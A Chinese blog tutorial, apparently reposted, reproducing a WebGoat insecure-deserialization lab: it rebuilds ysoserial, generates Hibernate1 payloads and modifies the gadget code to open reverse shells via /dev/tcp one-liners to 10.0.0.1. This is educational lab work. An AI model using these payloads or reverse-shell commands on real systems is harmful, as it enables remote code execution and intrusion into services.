Java 反序列化 - 如何在受限环境下一步步获取反弹 Shell

栏目: Java · 发布时间: 6年前

内容简介:在腾讯玄武安全实验室的日常推送上面看到了整篇文章的背景很简单。Webgoat的靶场中提供了一个本漏洞的环境采用的是Docker的环境。根据官方的提示

在腾讯玄武安全实验室的日常推送上面看到了 Java 反序列化 - 如何在受限环境下一步步获取反向 Shell ,觉得非常地有意思。复现并研究了一下。本文就是差不多是对这篇文章的复现和翻译的集合体。

漏洞环境

整篇文章的背景很简单。Webgoat的靶场中提供了一个 Insecure Deserialization 的学习示例,这个题目的本意只是要求我们通过反序列化漏洞使页面的响应延迟,但是我们能够利用反序列化漏洞得到靶场 Docker 环境的Shell。

安装Webgoat靶场

本漏洞的环境采用的是Docker的环境。根据官方的提示 WebGoat 8 ,运行

docker pull webgoat/webgoat-8.0
docker run -p 8080:8080 -it webgoat/webgoat-8.0 /home/webgoat/start.sh

执行完毕之后,显示如下(由于输出较多,图中仅仅显示部分信息):

Java 反序列化 - 如何在受限环境下一步步获取反弹 Shell

访问 http://localhost:8080/WebGoat ,如果能够正常访问,说明环境搭建成功。

漏洞确认

根据题目的含义:

Java 反序列化 - 如何在受限环境下一步步获取反弹 Shell

题目的要求是我们需要在Token中输入我们序列化之后经过bashe64编码的Payload使页面响应延迟。

为了测试是否存在反序列化漏洞,我们可以使用Burp上面的反序列化漏洞扫描插件 Java-Deserialization-ScannerJava-Deserialization 的安装参考 installation 、使用可以参考 Burp Suite扩展之Java-Deserialization-ScannerBurp Suite 反序列化插件 Java Deserialization Scanner

漏洞扫描

使用Burp截取请求包,如下:

Java 反序列化 - 如何在受限环境下一步步获取反弹 Shell

使用 Java-Deserialization-Scanner 进行扫描, 由于payload需要进行Bash64编码,所以在测试时我们需要选择 Attack(base64) ,否则是无法扫描出漏洞的

经过测试,我们发现存在 Hibernate 的反序列化漏洞。

Java 反序列化 - 如何在受限环境下一步步获取反弹 Shell

漏洞利用&问题定位

扫描发现是存在 Hibernate 的反序列化漏洞,于是我们尝试利用。 Java-Deserialization-Scanner 是通过 ysoserial 生成Payload的。 ysoserial usage 中是存在Hibernate的Payload的。所以我们利用 ysoserial ,执行 Hibernate1 whoami

Java 反序列化 - 如何在受限环境下一步步获取反弹 Shell

发现出现 ERROR IN YSOSERIAL COMMAND. SEE STDERR FOR DETAILS 错误,进入到 Java-Deserialization-Scanner 查看错误详情,

Java 反序列化 - 如何在受限环境下一步步获取反弹 Shell

具体的错误信息是:

Error while generating or serializing payload
java.lang.ClassNotFoundException: org.hibernate.property.access.spi.Getter
	at java.net.URLClassLoader.findClass(URLClassLoader.java:381)
	at java.lang.ClassLoader.loadClass(ClassLoader.java:424)
	at sun.misc.Launcher$AppClassLoader.loadClass(Launcher.java:349)
	at java.lang.ClassLoader.loadClass(ClassLoader.java:357)
	at java.lang.Class.forName0(Native Method)
	at java.lang.Class.forName(Class.java:264)
	at ysoserial.payloads.Hibernate1.makeHibernate5Getter(Hibernate1.java:92)
	at ysoserial.payloads.Hibernate1.makeGetter(Hibernate1.java:64)
	at ysoserial.payloads.Hibernate1.getObject(Hibernate1.java:104)
	at ysoserial.GeneratePayload.main(GeneratePayload.java:34)

此时就非常奇怪了,为什么 Java-Deserialization-Scanner 能够扫描出 Hibernate 的漏洞,但是使用 ysoserial 生成Payload却会出错呢?通过分析源代码,找到 Java-Deserialization-Scanner 的解析方法 BurpExtender.java

Java 反序列化 - 如何在受限环境下一步步获取反弹 Shell

发现在 Java-Deserialization-Scanner 的所有的检测逻辑都是硬编码的,那么 ysoserial 生成Payload却会出错的原因就在于 ysoserial 本身了。经过定位分析,发现是在生成 Hibernate Payload时,缺少 javax.el 包,所以我们需要直接下载 ysoserial 的源码然后在 pom.xml 中加入这个包的依赖,最后手动编译。关于这个问题,作者提供提交了一个 pull request 。修改内容如下:

Java 反序列化 - 如何在受限环境下一步步获取反弹 Shell

使用maven重新编译代码打包, mvn clean package -DskipTests -Dhibernate5 。如果能够正常打包成功,会在 target 目录下生成 ysoserial-0.0.6-SNAPSHOT.jarysoserial-0.0.6-SNAPSHOT-all.jar

尝试生成payload, java -Dhibernate5 -jar target/ysoserial-0.0.6-SNAPSHOT-all.jar Hibernate1 "touch /tmp/test" | base64 -w0

Java 反序列化 - 如何在受限环境下一步步获取反弹 Shell

得到Payload的base64形式。我们利用Burp进行利用

Java 反序列化 - 如何在受限环境下一步步获取反弹 Shell

我们通过 docker exec -it <CONTAINER_ID> /bin/bash 进入到Docker容器的内部查看是否生成了 /tmp/test 文件。

Java 反序列化 - 如何在受限环境下一步步获取反弹 Shell

发现存在 test 文件,说明我们已经攻击成功。

反弹shell

上一章节中已经确认了漏洞的存在并且利用成功,那么现在就是尝试反弹 shell 了。

生成反弹shell

首先我们需要分析一下在 Webgoat 中的 Docker 中能够使用的命令:

Java 反序列化 - 如何在受限环境下一步步获取反弹 Shell

发现 Docker 中存在 perlbash 命令。我们就可以利用常见的bash反弹shell, bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

之后对 ysoserial 的生成Payload流程进行分析。整个流程如下图所示:

Java 反序列化 - 如何在受限环境下一步步获取反弹 Shell

我们最终会进入到 ysoserial.payloads.util.Gadgets::createTemplatesImpl() 中。代码如下:

public static <T> T createTemplatesImpl ( final String command, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory )
        throws Exception {
    final T templates = tplClass.newInstance();

    // use template gadget class
    ClassPool pool = ClassPool.getDefault();
    pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
    pool.insertClassPath(new ClassClassPath(abstTranslet));
    final CtClass clazz = pool.get(StubTransletPayload.class.getName());
    // run command in static initializer
    // TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
    String cmd = "java.lang.Runtime.getRuntime().exec(\"" +
        command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") +
        "\");";
    clazz.makeClassInitializer().insertAfter(cmd);
    // sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
    clazz.setName("ysoserial.Pwner" + System.nanoTime());
    CtClass superC = pool.get(abstTranslet.getName());
    clazz.setSuperclass(superC);

    final byte[] classBytes = clazz.toBytecode();

    // inject class bytes into instance
    Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
        classBytes, ClassFiles.classAsBytes(Foo.class)
    });

    // required to make TemplatesImpl happy
    Reflections.setFieldValue(templates, "_name", "Pwnr");
    Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
    return templates;
}

其中生成Payload的关键代码是 String cmd = "java.lang.Runtime.getRuntime().exec(\"" +command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") +"\");"; 。其中的 command 就是需要攻击者输入。那么我们就可以直接修改这个 cmd 为我们的的反弹shell。

所以我们需要利用 Java 的方式执行这种 bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 反弹shell。一般利用方式是:

Runtime r = Runtime.getRuntime();
String [] mycmd = {"/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/8888;cat <&5 | while read line; do $line 2>&5 >&5; done"};
Process p = r.exec(mycmd);
p.waitFor();

但是我们需要将上述的这个代码变为字符串的形式。所以我们就需要将上述的代码用 " 转为字符串,此时还需要对其中的特殊字符进行转义,最终得到的Payload是:

String cmd = "java.lang.Runtime.getRuntime().exec(new String []{\"/bin/bash\",\"-c\",\"exec 5<>/dev/tcp/10.0.0.1/8888;cat <&5 | while read line; do \\$line 2>&5 >&5; done\"}).waitFor();";
clazz.makeClassInitializer().insertAfter(cmd);

其中的 10.0.0.1 就是我们需要的反弹shell的服务器地址,这个需要根据自己的实际情况设定。

修改完毕之后,运行 mvn clean package -DskipTests -Dhibernate5 重新编译 ysoserial

反弹shell利用

得到新的 ysoserial 之后运行 java -Dhibernate5 -jar target/ysoserial-0.0.6-SNAPSHOT-all.jar Hibernate1 "anything" | base64 -w0 ,得到我们的Payload。

Java 反序列化 - 如何在受限环境下一步步获取反弹 Shell

利用Burp发送我们生成的Payload尝试反弹shell

Java 反序列化 - 如何在受限环境下一步步获取反弹 Shell

已经成功地拿到Docker的shell了。

其他

反弹shell的利用

其实最终作者使用的是:

Runtime r = Runtime.getRuntime();
String [] mycmd = {"/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/8888;cat <&5 | while read line; do $line 2>&5 >&5; done"};
Process p = r.exec(mycmd);
p.waitFor();

不知道为什么没有采用Bash的方式,就是如下这种,感觉这两种应该是一样的:

Runtime r = Runtime.getRuntime();
String [] mycmd = {"/bin/bash","-c","bash -i >& /dev/tcp/10.0.0.1/8888 0>&1"};
Process p = r.exec(mycmd);
p.waitFor();

我们将其转为字符串形式,

String cmd = "java.lang.Runtime.getRuntime().exec(new String []{\"/bin/bash\",\"-c\",\"bash -i >& /dev/tcp/10.0.0.1/8888 0>&1\"}).waitFor();";
clazz.makeClassInitializer().insertAfter(cmd);

重新编译运行,得到新的payload。发现同样可以利用:

Java 反序列化 - 如何在受限环境下一步步获取反弹 Shell

ysoserial patch

由于作者发现了在生成 Hibernate 的Payload时出现了问题,于是在 pom.xml 中添加了 javax.el 的依赖并提交了一个 patch 。但是貌似因为出现了一些错误,导致官方目前还没有接受这个pull request。但是具体的错误目前还不清楚,不知道为什么添加一个依赖都会导致 continuous-integration 的问题。

总结

总体来说,整个漏洞的利用比较有趣,在此过程中也学习到了 Java-Deserialization-Scanner 的用法以及在受限环境下利用 ysoserial 反弹shelll的方法。

以上


以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Cascading Style Sheets 2.0 Programmer's Reference

Cascading Style Sheets 2.0 Programmer's Reference

Eric A. Meyer / McGraw-Hill Osborne Media / 2001-03-20 / USD 19.99

The most authoritative quick reference available for CSS programmers. This handy resource gives you programming essentials at your fingertips, including all the new tags and features in CSS 2.0. You'l......一起来看看 《Cascading Style Sheets 2.0 Programmer's Reference》 这本书的介绍吧!

JS 压缩/解压工具
JS 压缩/解压工具

在线压缩/解压 JS 代码

在线进制转换器
在线进制转换器

各进制数互转换器

HTML 编码/解码
HTML 编码/解码

HTML 编码/解码